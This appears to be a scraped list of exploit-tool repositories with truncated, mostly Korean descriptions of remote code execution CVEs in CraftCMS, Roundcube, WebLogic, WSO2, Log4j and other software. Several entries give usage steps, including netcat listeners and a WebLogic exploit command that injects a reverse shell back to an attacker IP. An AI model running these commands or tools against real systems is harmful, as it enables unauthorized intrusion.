CVE-2025-32432

CraftCMS CVE-2025-32432 취약점 익스플로잇 도구 세트 SensePost 연구 기반 CraftCMS 원격 코드 실행 취약점 익스플로잇 도구. 📁 파일 설명 🎯 주요 도구 1. finalpoc.py - 최종 최적화된 POC 정보 유출 및 원격 코드 실행 지원 자동 asset ID 발견 다양한 세션 주입 방법 상세한 디버그 모드 2. test.py - 원본 SensePost 기반 단순화 버전 자동 asset ID 획득 기능 포함 yii\rbac\PhpManager 메서드 사용 3...

apache_normalize_path

CVE-2021-41773|CVE-2021-42013: Apache HTTP 서버에서 악용된 경로 탐색 제로데이 10월 5일, Apache HTTP Server 프로젝트는 CVE-2021-41773을 패치했습니다. 이는 가장 널리 사용되는 웹 서버 중 하나인 Unix 및 Windows용 오픈소스 웹 서버인 Apache HTTP Server의 경로 탐색 및 파일 노출 취약점입니다. 보안 권고에 따르면, CVE-2021-41773은 제로데이로 실제 환경에서 악용되었습니다. 이 취약점은 Ash Daulton과 cPanel 보안 팀에...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- 이것은 CVE-2018-19422 익스플로잇을 약간 수정한 버전으로, 제가 겪었던 작지만 짜증나는 문제를 해결하기 위한 것입니다. 저는 CTF에서 이 익스플로잇을 사용해야 했지만 제대로 작동하지 않아서 계속 로그인에 실패했습니다. 오랜 시간이 지난 후에야 드디어 이유를 알아냈습니다. 문제는 URL 인수에 있었습니다. URL을 지정할 때 프로그램은 자동으로 내가 URL을 /로 끝낼 것이라고 가정했지만, 나는 그렇게 하지 않았던 것입니다. 내가 한 방식:...

CVE-2019-19634

CVE-2019-19634 - class.upload.php = 2.0.4 임의 파일 업로드 작성자 - Jinny Ramsmark 영향을 받는 공급업체 - Verot.net 영향을 받는 제품 - class.upload.php = 2.0.4 새로 설치된 Ubuntu 14.04에서 PHP5 및 Apache로 테스트함 특히 Debian/Ubuntu는 사용 가능한 PHP 핸들러에 pht 확장자도 추가하므로 취약한 것으로 확인되었습니다. 이 경우 class.upload.php는 pht 확장자를 블랙리스트에 포함하지 않았습니다. 이 CV...

CVE-2025-49113-exploit

CVE-2025-49113 - Roundcube 원격 코드 실행 CVE-2025-49113에 대한 개념 증명 익스플로잇입니다. Roundcube Webmail의 원격 코드 실행 취약점입니다. 설명 이 익스플로잇은 Roundcube Webmail 버전 1.5.0부터 1.6.10까지의 역직렬화 취약점을 대상으로 합니다. 이 취약점은 인증된 공격자가 서버에서 임의의 코드를 실행할 수 있도록 합니다. 취약한 버전 1.5.0 - 1.5.9 1.6.0 - 1.6.10 요구 사항 PHP 7.0 이상 cURL 확장 활성화 대상이 취약한 버전...

R2C-CVE-2025-55182-66478

🔥React2Shell 툴킷 - CVE-2025-55182 & CVE-2025-66478 🚨 React Server Components 및 Next.js의 치명적 RCE 🚨 CVE-2025-55182 탐지 및 익스플로잇을 위한 전문 레드팀 툴킷 🔍 기능 • ⚡ 빠른 시작 • 📚 문서 • 🤝 연락 🎯 CVE-2025-55182 및 CVE-2025-66478 정보 🐛 React2Shell이란? React2Shell 은 React Server ComponentsRSC 및 Next.js 애플리케이션에 영향을 미치는 인증되지 않은 치명...

CVE-2021-21983

CVE-2021-21975 VMware vRealize OperationsvROps Manager API 임의 파일 쓰기로 인한 원격 코드 실행RCE vRealize OperationsvROps는 AI 기반의 셀프 드라이빙 IT 운영 관리 도구로, 애플리케이션에서 인프라까지 VMware Cloud 및 HCI 배포를 최적화, 계획, 확장하고 퍼블릭 클라우드 모니터링을 통합합니다. VMware vRealize Operations Manager API 8.4 and all previous versions는 SSRFServer Sid...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php phprevshell.php 7번째 줄에서 $ip 변경 nc -lvnp 1234...

CVE-2018-18852

CERIO 라우터 인증된 RCE 벤더 백도어 자격 증명 CVE-2018-18852 Python PoC hook-s3c github.com/andripwn, 트위터 @andripwn CVE-2018-18852에 대한 동작하는 Python PoC, 원본 출처; https://github.com/andripwn/CVE-2018-18852 개요 CERIO 라우터 모델 및 변형인 DT300N, DT100G, AMR-3204, WMR-200N은 루트 사용자로 인증된 웹 기반 RCE에 취약합니다. 미공개 0day 권고로 존재합니다;...

Wing-FTP-Server-7.4.4-RCE-Authenticated

Wing FTP Server 7.4.4 - 원격 코드 실행 인증됨 CVE-2025-5196 Wing FTP Server는 웹 인터페이스를 통해 접근 가능한 관리 Lua 스크립팅 콘솔을 제공합니다. 인증된 관리자는 불충분한 샌드박싱으로 인해 임의의 Lua 코드를 실행할 수 있습니다. 영향받는 버전: Wing FTP Server 7.4.4 Windows | 인증 필요: 예 다운로드 및 릴리스 노트 2025년 5월 24일까지, 공급업체가 제공하는 최신 버전의 애플리케이션은 다음 링크에서 확인할 수 있습니다:...

Log4j2-CVE-2021-44228

CVE-2021-44228 Log4j におけるリモートコードインジェクション https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml デフォルト使用 : org.springframework.boot spring-boot-starter-log4j2 xml org.springframework.boot spring-boot-starter-web mvn dependency:tree java INFO | | +-...

CVE-2019-3980

CVE-2019-3980 이 저장소는 사용자 지정 C 실행 파일과 함께 Nessus POC를 활용하여 원격 호스트에서 명령을 실행하고 해당 명령의 출력을 가져오기 위해 만들어졌습니다. python 파일은 웹 서버를 시작하고, 익스플로잇을 실행한 다음, 웹 서버를 통해 결과를 가져오는 데 사용됩니다. C exe는 익스플로잇을 통해 대상에 업로드됩니다. 대상에서 실행되면 exe는 지정된 IP/포트로 콜백하여 실행할 명령을 가져옵니다경로는 /cmd. 명령이 완료되면 exe는 출력을 동일한 웹 서버로 보냅니다. 출력 전송은 404를...

ResponsiveFileManager-CVE-2022-46604

ResponsiveFileManager-CVE-2022-46604 Responsive FileManager v.9.9.5는 CVE-2022-46604 파일 생성 확장자 우회로 인한 RCE에 취약합니다. 현재 익스플로잇은 Python 3로 작성되었으며, 취약점을 이용하여 웹쉘을 업로드하여 취약한 호스트에서 원격으로 명령어를 실행할 수 있습니다. 참고 Exploit Database Exploit-DB: https://www.exploit-db.com/exploits/51251 Packet Storm Security:...

CVE-2026-34038

CVE-2026-34038: Coolify에서의 인증된 원격 명령어 삽입 이 저장소는 CVE-2026-34038 에 대한 문서와 분석을 포함합니다. 이는 Coolify의 심각한 명령어 삽입 취약점입니다. 요약 Coolify에서 인증된 원격 명령어 삽입 취약점CWE-78으로 인해 애플리케이션 "쓰기" 권한을 가진 사용자가 원격 코드 실행RCE을 달성하고, 배포 로그를 통해 민감한 환경 변수예: 데이터베이스 자격 증명, API 키를 탈취 할 수 있습니다. 빌드 환경이 Docker 소켓을 격리하더라도 가능합니다. 취약점 유형:...

CVE-2025-49113

CVE-2025-49113 RCE 익스플로잇 이 익스플로잇의 사용자 이름/비밀번호 인증 방법은 4단계로 이루어져 있습니다 코드가 약간 지저분합니다...

CVE-2020-9496

CVE-2020-9496 ApacheOfBiz 17.12.01 - 인증되지 않은 원격 코드 실행 XML-RPC 요청은 안전하지 않은 역직렬화에 취약합니다. 단계 1단계: pip3 install -r requeriments.txt 2단계: nc -nlvp 공격자 컴퓨터 3단계: python3 shell.py -i -p -li -lp 4단계: nc 리스너에서 셸을 확인할 수 있습니다...

CVE-2019-19609

Strapi CMS 익스플로잇 이 익스플로잇은 Strapi CMS 프레임워크 버전 3.0.0-beta-17.4 의 두 가지 취약점을 대상으로 하여 인증되지 않은 원격 코드 실행RCE을 가능하게 합니다. 취약점 CVE-2019-18818 비밀번호 분실에 대한 취약한 비밀번호 복구 메커니즘 CVSS : 9.8 - 치명적 자세한 내용: https://nvd.nist.gov/vuln/detail/CVE-2019-18818 CVE-2019-19609 OS 명령어에 사용되는 특수 요소의 부적절한 처리 'OS 명령어 삽입' CVSS : 7...

CVE-2022-21445-for-12.2.1.3.0-Weblogic

개요 CVE-2022-21445점수 CVSS 9.8는 신뢰할 수 없는 데이터의 역직렬화 취약점으로, ADF Faces 구성 요소에 존재하는 것으로 확인되었으며, 공격자가 사전 인증pre-authentication 없이 원격에서 악용하여 RCE를 수행할 수 있습니다. 이 취약점은 VNG Corporation의 PeterJson과 VNPT의 Nguyen Jang이라는 두 사이버 보안 전문가에 의해 발견되었습니다. 이후 Oracle은 2021년 10월에 이 보고서를 접수했으며, 패치를 출시하는 데 6개월, 즉 2022년 4월까지...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 용 Python EXP（한 번에 완료） 사용법: Python3 exploit.py -t -c 팁: 출력 없음 예시： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' 그러면 getshell 할 수 있습니다...

wso2-rce-cve-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 익스플로잇. 상세 정보 CVE-2022-29464는 Orange Tsai가 발견한 WSO2의 심각한 취약점입니다. 이 취약점은 인증되지 않은 제한 없는 임의 파일 업로드로, 인증되지 않은 공격자가 악성 JSP 파일을 업로드하여 WSO2 서버에서 RCE를 얻을 수 있게 합니다. 취약한 업로드 경로는 /fileupload이며, 이는 indentity.xml 구성 파일에서 볼 수 있듯이 보호되지 않은 경로인 FileUploadServlet에 의해 처리됩니다.xml...